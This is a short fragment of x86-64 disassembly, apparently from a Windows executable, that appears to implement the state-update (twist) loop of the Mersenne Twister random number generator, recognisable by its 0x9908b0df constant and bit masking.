jae 0x140004ac1
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp]
mov eax, dword [rax + rcx*4 - 0x9bc]
and eax, 0x80000000
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp]
mov ecx, dword [rcx + rdx*4 - 0x9b8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 8], eax
mov eax, dword [rsp + 8]
and eax, 1
test eax, eax
je 0x140004a8d
mov dword [rsp + 0xc], 0x9908b0df
jmp 0x140004a95
mov dword [rsp + 0xc], 0
mov eax, dword [rsp + 8]
shr eax, 1
xor eax, dword [rsp + 0xc]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x140004a34
add rsp, 0x10
pop rdi
ret